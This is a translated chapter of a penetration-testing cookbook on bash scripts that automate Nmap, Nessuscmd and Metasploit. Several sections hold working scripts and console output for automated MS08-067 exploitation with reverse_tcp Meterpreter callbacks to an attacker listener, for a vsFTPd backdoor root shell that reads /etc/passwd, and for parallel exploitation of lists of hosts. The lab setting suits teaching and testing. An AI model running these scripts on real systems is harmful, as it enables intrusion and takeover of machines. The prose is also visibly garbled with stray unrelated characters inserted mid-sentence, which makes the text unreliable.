Kali Linux 網(wǎng)絡(luò)掃描秘籍 第八章 自動(dòng)化 Kali 工具

第八章 自動(dòng)化 Kali 工具

作者:Justin Hutchens

譯者:飛龍

協(xié)議:CC BY-NC-SA 4.0

Kali Linux 滲透測試平臺提供了大量高效的工具蜗搔,來完成企業(yè)滲透測試中所需的大多數(shù)常見任務(wù)疗我。 然而,有時(shí)單個(gè)工具不足以完成給定的任務(wù)嗡午。 與構(gòu)建完全新的腳本或程序來完成具有挑戰(zhàn)性的任務(wù)相比堕义,編寫使用現(xiàn)有工具以及按需修改其行為的腳本通常更有效。 實(shí)用的本地腳本的常見類型包括用于分析或管理現(xiàn)有工具的輸出,將多個(gè)工具串聯(lián)到一起的腳本媳纬,或者必須順序執(zhí)行的多線程任務(wù)的腳本双肤。

8.1 的 Nmap greppable 輸出分析

Nmap 被大多數(shù)安全專業(yè)人員認(rèn)為是 Kali Linux 平臺中最流暢和有效的工具之一。 但是由于這個(gè)工具的驚人和強(qiáng)大的功能钮惠,全面的端口掃描和服務(wù)識別可能非常耗時(shí)茅糜。 在整個(gè)滲透測試中,不針對不同的服務(wù)端口執(zhí)行目標(biāo)掃描素挽,而是對所有可能的 TCP 和 UDP 服務(wù)執(zhí)行全面掃描蔑赘,然后僅在整個(gè)評估過程中引用這些結(jié)果,是一個(gè)更好的方法预明。 Nmap 提供了 XML 和 greppable 輸出格式來輔助這個(gè)過程缩赛。

理想情況下,你應(yīng)該熟悉這些格式撰糠,你可以從輸出文件中按需提取所需的信息酥馍。 但是作為參考,此秘籍會(huì)提供示例腳本窗慎,可用于提取標(biāo)識為在指定端口上運(yùn)行服務(wù)的所有 IP 地址物喷。

準(zhǔn)備

要使用本秘籍中演示的腳本,你需要使用 grepable 格式的 Nmap 輸出結(jié)果遮斥。 這可以通過執(zhí)行 Nmap 端口掃描并使用-oA選項(xiàng)輸出所有格式峦失,或-oG來專門輸出 greppable 格式來獲取。 在提供的示例中术吗,多個(gè)系統(tǒng)在單個(gè)/24子網(wǎng)上掃描尉辑,這包括 Windows XP 和 Metasploitable2。 有關(guān)設(shè)置 Metasploitable2 的更多信息较屿,請參閱本書第一章中的“安裝 Metasploitable2”秘籍隧魄。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍隘蝎。 此外购啄,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息嘱么,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍狮含。

操作步驟

下面的示例演示了使用 bash 腳本語言甚至是 bash 命令行界面(CLI),從 Nmap 輸出的 greppable 格式中提取信息曼振,這十分簡單:

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <port #> <filename>"; 
exit; fi

port=$1 
file=$2

echo "Systems with port $port open:"

grep $port $file | grep open | cut -d " " -f 2 

為了確保你能理解腳本的功能几迄,我們將按順序?qū)γ恳恍羞M(jìn)行講解。 腳本的第一行只指向 bash 解釋器冰评,以便腳本可以獨(dú)立執(zhí)行映胁。 腳本的第二行是一個(gè)if ... then條件語句,用于測試是否向腳本提供了任何參數(shù)甲雅。 這只是最小的輸入驗(yàn)證解孙,以確保腳本用戶知道工具的使用坑填。 如果工具在沒有提供任何參數(shù)的情況下執(zhí)行,腳本將echo其使用的描述,然后退出。 使用描述會(huì)請求兩個(gè)參數(shù)辛臊,包括或端口號和文件名。

接下來的兩行將每個(gè)輸入值分配給更易于理解的變量蚪黑。 第一個(gè)輸入值是端口號,第二個(gè)輸入值是 Nmap 輸出文件中剩。 然后忌穿,腳本將檢查 Nmap greppable 輸出文件,來判斷指定端口號的服務(wù)上運(yùn)行了什么系統(tǒng)(如果有的話)结啼。

root@KaliLinux:~# ./service_identifier.sh Usage: #./script <port #> <filename>

當(dāng)你在沒有任何參數(shù)的情況下執(zhí)行腳本時(shí)掠剑,將輸出用法描述。 要使用腳本郊愧,我們需要輸入一個(gè)要檢查的端口號和 Nmap grepable 輸出文件的文件名朴译。 提供的示例在/ 24網(wǎng)絡(luò)上執(zhí)行掃描,并使用文件名netscan.txt生成 greppable 輸出文件属铁。 然后眠寿,該腳本用于分析此文件,并確定各個(gè)端口上的活動(dòng)服務(wù)中是否能發(fā)現(xiàn)任何主機(jī)焦蘑。

root@KaliLinux:~# ./service_identifier.sh 80 netscan.txt 
Systems with port 80 open: 
172.16.36.135 
172.16.36.225 
root@KaliLinux:~# ./service_identifier.sh 22 netscan.txt 
Systems with port 22 open: 
172.16.36.135 
172.16.36.225 172.16.36.239 
root@KaliLinux:~# ./service_identifier.sh 445 netscan.txt 
Systems with port 445 open: 
172.16.36.135 
172.16.36.225 

所展示的示例執(zhí)行腳本來判斷端口 80, 22 和 445 上所運(yùn)行的主機(jī)盯拱。腳本的輸出顯示正在評估的端口號,然后列出輸出文件中任何系統(tǒng)的IP地址例嘱,這些系統(tǒng)在該端口上運(yùn)行活動(dòng)服務(wù)狡逢。

工作原理

grep是一個(gè)功能強(qiáng)大的命令行工具,可在 bash 中用于 從輸出或從給定文件中提取特定內(nèi)容拼卵。 在此秘籍提供的腳本中奢浑,grep用于從 Nmap grepable 輸出文件中提取給定端口號的任何實(shí)例。 因?yàn)?code>grep函數(shù)的輸出包括多條信息腋腮,所以輸出通過管道傳遞到cut函數(shù)雀彼,來提取 IP 地址,然后將其輸出到終端低葫。

8.2 使用指定 NSE 腳本的 Nmap 端口掃描

許多Nmap腳本引擎(NSE)的腳本僅適用于在指定端口上運(yùn)行的服務(wù)详羡。 考慮smb-check-vulns.nse腳本的用法仍律。 此腳本將評估在 TCP 445 端口上運(yùn)行的 SMB 服務(wù)的常見服務(wù)漏洞嘿悬。 如果此腳本在整個(gè)網(wǎng)絡(luò)上執(zhí)行,則必須重新完成任務(wù)來確定端口 445 是否打開水泉,以及每個(gè)目標(biāo)系統(tǒng)上是否可訪問 SMB 服務(wù)善涨。 這是在評估的掃描階段期間可能已經(jīng)完成的任務(wù)窒盐。 Bash 腳本可以用于利用現(xiàn)有的 Nmap greppable 輸出文件來運(yùn)行服務(wù)特定的 NSE 腳本,它們只針對運(yùn)行這些服務(wù)的系統(tǒng)钢拧。 在本秘籍中蟹漓,我們將演示如何使用腳本來確定在先前掃描結(jié)果中運(yùn)行 TCP 445 上的服務(wù)的主機(jī),然后僅針對這些系統(tǒng)運(yùn)行smb-check-vulns.nse腳本源内。

準(zhǔn)備

要使用本秘籍中演示的腳本葡粒,你需要使用 grepable 格式的 Nmap 輸出結(jié)果。 這可以通過執(zhí)行 Nmap 端口掃描并使用-oA選項(xiàng)輸出所有格式膜钓,或-oG來專門輸出 greppable 格式來獲取嗽交。 在提供的示例中,多個(gè)系統(tǒng)在單個(gè)/24子網(wǎng)上掃描颂斜,這包括 Windows XP 和 Metasploitable2夫壁。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請參閱本書第一章中的“安裝 Metasploitable2”秘籍沃疮。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息盒让,請參閱本書第一章中的“安裝 Windows Server”秘籍。 此外司蔬,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)邑茄。 有關(guān)編寫腳本的更多信息,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍俊啼。

操作步驟

下面的示例演示了如何使用 bash 腳本將多個(gè)任務(wù)串聯(lián)在一起撩扒。 這里,我們需要執(zhí)行 Nmap grepable 輸出文件的分析吨些,然后由該任務(wù)標(biāo)識的信息用于針對不同的系統(tǒng)執(zhí)行 Nmap NSE 腳本搓谆。 具體來說,第一個(gè)任務(wù)將確定哪些系統(tǒng)在 TCP 445 上運(yùn)行服務(wù)豪墅,然后針對每個(gè)系統(tǒng)執(zhí)行smb-check-vulns.nse腳本泉手。

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <file>"; exit; fi

file=$1

for x in $(grep open $file | grep 445 | cut -d " " -f 2); 
    do nmap --script smb-check-vulns.nse -p 445 $x --scriptargs=unsafe=1; 
done 

為了確保你能理解腳本的功能,我們將按順序講解每一行偶器。 前幾行與上一個(gè)秘籍中討論的腳本類似斩萌。 第一行指向 bash 解釋器,第二行檢查是否提供參數(shù)屏轰,第三行將輸入值賦給易于理解的變量名颊郎。 腳本的正文有一定區(qū)分。 for循環(huán)用于遍歷通過grep函數(shù)獲取的 IP 地址列表霎苗。 從grep函數(shù)輸出的 IP 地址列表對應(yīng)在 TCP 端口 445 上運(yùn)行服務(wù)的所有系統(tǒng)姆吭。然后對這些 IP 地址中的每一個(gè)執(zhí)行 Nmap NSE 腳本。 通過僅在先前已標(biāo)識為在 TCP 445 上運(yùn)行服務(wù)的系統(tǒng)上運(yùn)行此腳本唁盏,執(zhí)行 NSE 掃描所需的時(shí)間大大減少内狸。

root@KaliLinux:~# ./smb_eval.sh 
Usage: #./script <file>

通過執(zhí)行不帶任何參數(shù)的腳本检眯,腳本將輸出用法描述。 該描述表明昆淡,應(yīng)當(dāng)提供現(xiàn)有 Nmap grepable 輸出文件的文件名锰瘸。 當(dāng)提供 Nmap 輸出文件時(shí),腳本快速分析文件來查找具有 TCP 445 服務(wù)的任何系統(tǒng)昂灵,然后在每個(gè)系統(tǒng)上運(yùn)行 NSE 腳本避凝,并將結(jié)果輸出到終端。

root@KaliLinux:~# ./smb_eval.sh netscan.txt
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT 
Nmap scan report for 172.16.36.135 
Host is up (0.00035s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:3D:84:32 (VMware)

Host script results: 
| smb-check-vulns: 
|   Conficker: UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). 
|   
|  If you know the remote system is Windows, try rebooting it and scanning 
|   
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND) 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds

Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT 
Nmap scan report for 172.16.36.225 
Host is up (0.00041s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
| smb-check-vulns: 
|   MS08-067: VULNERABLE 
|   Conficker: Likely CLEAN 
|   regsvc DoS: NOT VULNERABLE 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds 

在提供的示例中眨补,腳本會(huì)傳遞到netscan.txt輸出文件恕曲。 對文件進(jìn)行快速分析后,腳本確定兩個(gè)系統(tǒng)正在端口445上運(yùn)行服務(wù)渤涌。然后使用smb-check-vulns.nse腳本掃描每個(gè)服務(wù)佩谣,并在終端中生成輸出。

工作原理

通過提供grep序列作為for循環(huán)要使用的值实蓬,此秘籍中的 bash 腳本基本上只是循環(huán)遍歷該函數(shù)的輸出茸俭。 通過獨(dú)立運(yùn)行該函數(shù),可以看到它只提取對應(yīng)運(yùn)行 SMB 服務(wù)的主機(jī)的 IP 地址列表安皱。 然后调鬓,for循環(huán)遍歷這些IP地址,并對每個(gè) IP 地址執(zhí)行 NSE 腳本酌伊。

8.3 使用 MSF 漏洞利用的 Nmap MSE 漏洞掃描

在某些情況下腾窝,開發(fā)一個(gè)將漏洞掃描與利用相結(jié)合的腳本可能會(huì)有所幫助。 漏洞掃描通常會(huì)導(dǎo)致誤報(bào)居砖,因此通過執(zhí)行漏洞掃描的后續(xù)利用虹脯,可以立即驗(yàn)證這些發(fā)現(xiàn)的正確性。 此秘籍使用 bash 腳本來執(zhí)行smb-check-vulns.nse腳本奏候,來確定主機(jī)是否存在 MS08-067 NetAPI 漏洞循集,并且如果 NSE 腳本顯示如此,Metasploit 會(huì)用于 自動(dòng)嘗試?yán)盟鼇眚?yàn)證蔗草。

準(zhǔn)備

要使用本秘籍中演示的腳本咒彤,你需要使用 grepable 格式的 Nmap 輸出結(jié)果。 這可以通過執(zhí)行 Nmap 端口掃描并使用-oA選項(xiàng)輸出所有格式咒精,或-oG來專門輸出 greppable 格式來獲取镶柱。 在提供的示例中,多個(gè)系統(tǒng)在單個(gè)/24子網(wǎng)上掃描模叙,這包括 Windows XP 和 Metasploitable2歇拆。 有關(guān)設(shè)置 Metasploitable2 的更多信息,請參閱本書第一章中的“安裝 Metasploitable2”秘籍。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息查吊,請參閱本書第一章中的“安裝 Windows Server”秘籍。 此外湖蜕,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)逻卖。 有關(guān)編寫腳本的更多信息,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍昭抒。

操作步驟

下面的示例演示了如何使用 bash 腳本將漏洞掃描和目標(biāo)利用的任務(wù)串聯(lián)到一起评也。 在這種情況下,smb-checkvulns.nse腳本用于確定系統(tǒng)是否容易受到 MS08-067 攻擊灭返,然后如果發(fā)現(xiàn)系統(tǒng)存在漏洞盗迟,則對系統(tǒng)執(zhí)行相應(yīng)的 Metasploit 漏洞利用。

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <RHOST> <LHOST> <LPORT>"; 
exit; fi

rhost=$1 
lhost=$2 
lport=$3

nmap --script smb-check-vulns.nse -p 445 $rhost --scriptargs=unsafe=1 -oN tmp_output.txt 
if [ $(grep MS08-067 tmp_output.txt | cut -d " " -f 5) = "VULNERABLE" ];
    then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";   
    msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/ meterpreter/reverse_tcp RHOST=$rhost LHOST=$lhost LPORT=$lport E; 
fi 
rm tmp_output.txt  

為了確保你能理解腳本的功能熙含,我們將按順序?qū)γ恳恍羞M(jìn)行講解罚缕。腳本中的前幾行與本章前面討論的腳本相同邮弹。第一行定義解釋器,第二行測試輸入腌乡,第三夜牡,第四和第五行都用于根據(jù)用戶輸入定義變量。在此腳本中急迂,提供的用戶變量對應(yīng) Metasploit 中使用的變量蹦肴。 RHOST變量應(yīng)該定義目標(biāo)的 IP 地址,LHOST變量應(yīng)該定義反向監(jiān)聽器的 IP 地址听盖,LPORT變量應(yīng)該定義正在監(jiān)聽的本地端口裂七。然后腳本在正文中執(zhí)行的第一個(gè)任務(wù)是皆看,對目標(biāo)系統(tǒng)的 IP 地址執(zhí)行smb-check-vulns.nse腳本,它由RHOST輸入定義背零。然后腰吟,結(jié)果以正常格式輸出到臨時(shí)文本文件。然后,if ... then條件語句與grep函數(shù)結(jié)合使用毛雇,來測試輸出文件中是否有唯一的字符串嫉称,它表明系統(tǒng)存在漏洞。如果發(fā)現(xiàn)了唯一的字符串灵疮,則腳本會(huì)顯式系統(tǒng)看起來存在漏洞织阅,然后使用 Metasploit 框架命令行界面(MSFCLI)使用 Meterpreter 載荷執(zhí)行 Metasploit 漏洞利用。最后震捣,在加載漏洞利用后荔棉,使用rm函數(shù)從文件系統(tǒng)中刪除 Nmap 臨時(shí)輸出文件。test_n_xploit.sh bash命令執(zhí)行如下:

root@KaliLinux:~# ./test_n_xploit.sh 
Usage: #./script <RHOST> <LHOST> <LPORT>

如果在不提供任何參數(shù)的情況下執(zhí)行腳本蒿赢,腳本將輸出相應(yīng)的用法润樱。 此使用描述顯示,該腳本應(yīng)以參數(shù)RHOST羡棵,LHOSTLPORT執(zhí)行壹若。 這些輸入值將用于 Nmap NSE 漏洞掃描和(如果有保證)使用 Metasploit 在目標(biāo)系統(tǒng)上執(zhí)行利用。 在以下示例中皂冰,腳本用于確定 IP 地址為172.16.36.225的主機(jī)是否存在漏洞舌稀。 如果系統(tǒng)被確定為存在漏洞,則會(huì)執(zhí)行利用灼擂,并連接到反向 TCP Meterpreter 處理器,該處理其在 IP 地址172.16.36.239的 TCP 端口 4444 上監(jiān)聽系統(tǒng)睡腿。

root@KaliLinux:~# ./test_n_xploit.sh 172.16.36.225 172.16.36.239 4444

Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:58 EDT 
Nmap scan report for 172.16.36.225 
Host is up (0.00077s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
| smb-check-vulns: 
|   MS08-067: VULNERABLE 
|   Conficker: Likely CLEAN 
|   regsvc DoS: NOT VULNERABLE 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds 172.16.36.225 appears to be vulnerable, exploiting with Metasploit... 
[*] Please wait while we load the module tree...
     ,           ,    
    /             \  
   ((__---,,,---__))   
      (_) O O (_)_________    
         \ _ /            |\    
          o_o \   M S F   | \  
               \   _____  |  *    
                |||   WW|||      
                |||     |||
                
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0] 
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post 
+ -- --=[ 275 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_tcp 
RHOST => 172.16.36.225 
LHOST => 172.16.36.239 
LPORT => 4444

[*] Started reverse handler on 172.16.36.239:4444 
[*] Automatically detecting the target... 
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English 
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX) 
[*] Attempting to trigger the vulnerability... 
[*] Sending stage (752128 bytes) to 172.16.36.225 
[*] Meterpreter session 1 opened (172.16.36.239:4444 -> 172.16.36.225:1130) at 2014-04-10 05:58:30 -0400

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM

上面的輸出顯示,在完成 Nmap NSE 腳本后挂捻,將立即執(zhí)行 Metasploit exploit 模塊并在目標(biāo)系統(tǒng)上返回一個(gè)交互式 Meterpreter shell。

工作原理

MSFCLI 是 MSF 控制臺的有效替代工具声怔,可用于直接從終端執(zhí)行單行命令醋火,而不是在交互式控制臺中工作柿冲。 這使得 MSFCLI 對于 bash shell 腳本中的使用是一個(gè)很好的功能。 因?yàn)榭梢詮?bash 終端執(zhí)行 NSE 腳本和 MSFCLI慨亲,所以可以輕松編寫 shell 腳本來將這兩個(gè)功能組合在一起。

8.4 使用 MSF 漏洞利用的 Nessuscmd 漏洞掃描

將 NSE 腳本和 Metasploit 利用結(jié)合到一起可以減輕工作量愚铡×ち龋可由 NSE 腳本測試的漏洞數(shù)量明顯小于可通過專用漏洞掃描程序(如 Nessus)評估的漏洞數(shù)量邑雅。 幸運(yùn)的是,Nessus 有一個(gè)名為 Nessuscmd 的命令行工具吹泡,也可以在 bash 中輕松訪問洞难。 該秘籍演示了如何將 Nessus 定向漏洞掃描與 MSF 自動(dòng)利用相結(jié)合來驗(yàn)證發(fā)現(xiàn)队贱。

準(zhǔn)備

為了使用此秘籍中演示的腳本露筒,你需要訪問運(yùn)行漏洞服務(wù)的系統(tǒng),該服務(wù)可以使用 Nessus 進(jìn)行標(biāo)識,并且可以使用 Metasploit 進(jìn)行利用癣防。 提供的示例在 Metasploitable2 服務(wù)器上使用 vsFTPd 2.3.4 后門漏洞。 有關(guān)設(shè)置 Metasploitable2 的更多信息级遭,請參閱本書第一章中的“安裝 Metasploitable2”秘籍挫鸽。

此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)枫匾。 有關(guān)編寫腳本的更多信息干茉,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了如何使用 bash 腳本撑蚌,將漏洞掃描和目標(biāo)利用的任務(wù)結(jié)合到一起粉楚。 在這種情況下,Nessuscmd 用于運(yùn)行 Nessus 插件燃异,測試 vsFTPd 2.3.4 后門回俐,以確定系統(tǒng)是否存在漏洞仅颇,然后如果發(fā)現(xiàn)系統(tǒng)存在漏洞搁廓,則對系統(tǒng)執(zhí)行相應(yīng)的 Metasploit 漏洞利用:

#! /bin/bash

if [ ! $1 ]; then echo "Usage: #./script <RHOST>"; exit; fi

rhost=$1

/opt/nessus/bin/nessuscmd -p 21 -i 55523 $rhost >> tmp_output.txt 
if [ $(grep 55523 output.txt | cut -d " " -f 9) = "55523" ];    
    then echo "$rhost appears to be vulnerable, exploiting with Metasploit...";   
    msfcli exploit/unix/ftp/vsftpd_234_backdoor PAYLOAD=cmd/unix/ 
    interact RHOST=$rhost E; 
fi 
rm tmp_output.txt 

腳本的開頭非常類似于漏洞掃描和利用腳本境蜕,它將 NSE 掃描與前一個(gè)秘籍中的 MSF 利用組合在一起粱年。但是趴泌,由于在此特定腳本中使用了不同的載荷嗜憔,因此用戶必須提供的唯一參數(shù)是RHOST值夺鲜,該值應(yīng)該是目標(biāo)系統(tǒng)的 IP 地址币励。腳本的正文以執(zhí)行 Nessuscmd 工具開始。 -p參數(shù)聲明正在評估的遠(yuǎn)程端口仅胞,-i參數(shù)聲明插件號干旧。插件 55523 對應(yīng) VSFTPd 2.3.4 后門的 Nessus 審計(jì)挠将。 然后,Nessuscmd 的輸出重定向到一個(gè)名為tmp_output.txt的臨時(shí)輸出文件镶蹋。如果目標(biāo)系統(tǒng)上存在此漏洞,則此腳本的輸出將僅返回插件 ID拂酣。所以下一行使用if ... then條件語句結(jié)合grep序列,來確定返回的輸出中的插件 ID埃撵。如果輸出中返回了插件ID饺谬,表明系統(tǒng)應(yīng)該存在漏洞募寨,那么將執(zhí)行相應(yīng)的 Metasploit 利用模塊。

root@KaliLinux:~# ./nessuscmd_xploit.sh 
Usage: #./script <RHOST>

如果在不提供任何參數(shù)的情況下執(zhí)行腳本列肢,腳本將輸出相應(yīng)的用法。 此使用描述表示刻炒,應(yīng)使用RHOST參數(shù)執(zhí)行腳本坟奥,它用于定義目標(biāo) IP 地址树瞭。 此輸入值將用于 Nessuscmd 漏洞掃描和(如果存在漏洞)使用 Metasploit 在目標(biāo)系統(tǒng)上執(zhí)行利用拇厢。 在以下示例中,腳本用于確定 IP 地址為172.16.36.135的主機(jī)是否存在漏洞晒喷。 如果系統(tǒng)被確定為存在漏洞孝偎,則將執(zhí)行該利用,并自動(dòng)建立與后門的連接凉敲。

root@KaliLinux:~# ./nessuscmd_xploit.sh 172.16.36.135 
172.16.36.135 appears to be vulnerable, exploiting with Metasploit... 
[*] Initializing modules... 
PAYLOAD => cmd/unix/interact 
RHOST => 172.16.36.135 
[*] Banner: 220 (vsFTPd 2.3.4) 
[*] USER: 331 Please specify the password. 
[+] Backdoor service has been spawned, handling... 
[+] UID: uid=0(root) gid=0(root) 
[*] Found shell. 
[*] Command shell session 1 opened (172.16.36.232:48126 -> 172.16.36.135:6200) at 2014-04-28 00:29:21 -0400

whoami 
root 
cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh 
sync:x:4:65534:sync:/bin:/bin/sync 
                            **{TRUNCATED}** 

因?yàn)?Nessuscmd 的輸出被重定向到臨時(shí)文件,而不是使用集成的輸出函數(shù)果复,所以沒有腳本返回的輸出來表明掃描成功迈窟,除了一個(gè)字符串用于指示系統(tǒng)看起來存在 Metasploit 試圖利用的漏洞躯肌。 一旦腳本執(zhí)行完畢拴袭,將在目標(biāo)系統(tǒng)上返回具有root權(quán)限的交互式 shell。 為了演示這一點(diǎn),我們使用了whoamicat命令觉渴。

工作原理

Nessuscmd 是 Nessus 漏洞掃描器中包含的命令行工具。 此工具可用于通過直接從終端執(zhí)行目標(biāo)掃描蹈丸,來掃描和評估不同插件的結(jié)果荸百。 因?yàn)樵摴ぞ撸ㄈ?MSFCLI)可以輕易從 bash 終端調(diào)用诞帐,所以我們很容易構(gòu)建一個(gè)腳本,將兩個(gè)任務(wù)串聯(lián)到一起,將漏洞掃描與利用相結(jié)合演熟。

8.5 使用反向 Shell 載荷的多線程 MSF 漏洞利用

使用 Metasploit 框架執(zhí)行大型滲透測試的一個(gè)困難座云,是每個(gè)利用必須按順序單獨(dú)執(zhí)行葵诈。 如果你想確認(rèn)大量系統(tǒng)中單個(gè)漏洞的可利用性,單獨(dú)利用每個(gè)漏洞的任務(wù)可能變得乏味授嘀。 幸運(yùn)的是逊拍,通過結(jié)合 MSFCLI 和 bash 腳本的功能骗露,可以通過執(zhí)行單個(gè)腳本禀崖,輕易在多個(gè)系統(tǒng)上同時(shí)執(zhí)行攻擊。 該秘籍演示了如何使用 bash 在多個(gè)系統(tǒng)中利用單個(gè)漏洞,并為每個(gè)系統(tǒng)打開一個(gè) Meterpreter shell宁改。

準(zhǔn)備

要使用此秘籍中演示的腳本鞋邑,你需要訪問多個(gè)系統(tǒng)陌宿,每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM椅亚,來生成 MS08-067 漏洞的三個(gè)實(shí)例限番。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍呀舔。 此外,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息媚赖,請參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍霜瘪。

操作步驟

下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是惧磺,此腳本可用于通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file> <LHOST>"; 
exit; fi

iplist=$1 
lhost=$2

i=4444 
for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi 
    PAYLOAD=windows/meterpreter/reverse_tcp 
    RHOST=$ip LHOST=$lhost LPORT=$i E   
    echo "Exploiting $ip and establishing reverse connection on local port $i" 
i=$(($i+1)) 
done 

腳本使用for循環(huán)颖对,對輸入文本文件中列出的每個(gè) IP 地址執(zhí)行特定任務(wù)。 該特定任務(wù)包括啟動(dòng)一個(gè)新的 GNOME 終端磨隘,該終端又執(zhí)行必要的msfcli命令來利用該特定系統(tǒng)缤底,然后啟動(dòng)反向 TCP meterpreter shell。 因?yàn)?code>for循環(huán)為每個(gè) MSFCLI 漏洞啟動(dòng)一個(gè)新的 GNOME 終端番捂,每個(gè)都作為一個(gè)獨(dú)立的進(jìn)程執(zhí)行个唧。 以這種方式,多個(gè)進(jìn)程可以并行運(yùn)行设预,并且每個(gè)目標(biāo)將被同時(shí)利用徙歼。 本地端口值被初始化為 4444,并且對被利用的每個(gè)附加系統(tǒng)增加 1鳖枕,使每個(gè) meterpreter shell 連接到不同的本地端口魄梯。 因?yàn)槊總€(gè)進(jìn)程在獨(dú)立的 shell 中執(zhí)行,所以這個(gè)腳本需要從圖形桌面界面執(zhí)行宾符,而不是通過 SSH 連接執(zhí)行酿秸。 ./multipwn.sh bash shell可以執(zhí)行如下:

root@KaliLinux:~# ./multipwn.sh 
Usage: #./script <host file> <LHOST> 
root@KaliLinux:~# ./multipwn.sh iplist.txt 172.16.36.239 
Exploiting 172.16.36.132 and establishing reverse connection on local port 4444 
Exploiting 172.16.36.158 and establishing reverse connection on local port 4445 
Exploiting 172.16.36.225 and establishing reverse connection on local port 4446

如果在不提供任何參數(shù)的情況下執(zhí)行腳本,腳本將輸出相應(yīng)的用法魏烫。 該使用描述將表明辣苏,該腳本以定義監(jiān)聽 IP 系統(tǒng)的LHOST變量,以及包含目標(biāo) IP 地址列表的文本文件的文件名來執(zhí)行则奥。 一旦以這些參數(shù)執(zhí)行考润,會(huì)開始彈出一系列新的終端。 這些終端中的每一個(gè)將運(yùn)行輸入列表中的 IP 地址之一的利用序列读处。 原始的執(zhí)行終端將在執(zhí)行時(shí)輸出進(jìn)程列表糊治。 所提供的示例利用了三個(gè)不同的系統(tǒng),并且為每個(gè)系統(tǒng)打開單獨(dú)的終端罚舱。其中一個(gè)終端的示例如下:

[*] Please wait while we load the module tree...
     ,           ,    
    /             \  
   ((__---,,,---__))   
      (_) O O (_)_________    
         \ _ /            |\    
          o_o \   M S F   | \  
               \   _____  |  *    
                |||   WW|||      
                |||     |||
                
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0] 
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post 
+ -- --=[ 275 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_tcp 
RHOST => 172.16.36.225 
LHOST => 172.16.36.239 
LPORT => 4446 
[*] Started reverse handler on 172.16.36.239:4446 
[*] Automatically detecting the target... 
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English 
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX) 
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 172.16.36.225 
[*] Meterpreter session 1 opened (172.16.36.239:4446 -> 172.16.36.225:1950) at 2014-04-10 07:12:44 -0400

meterpreter > getuid 
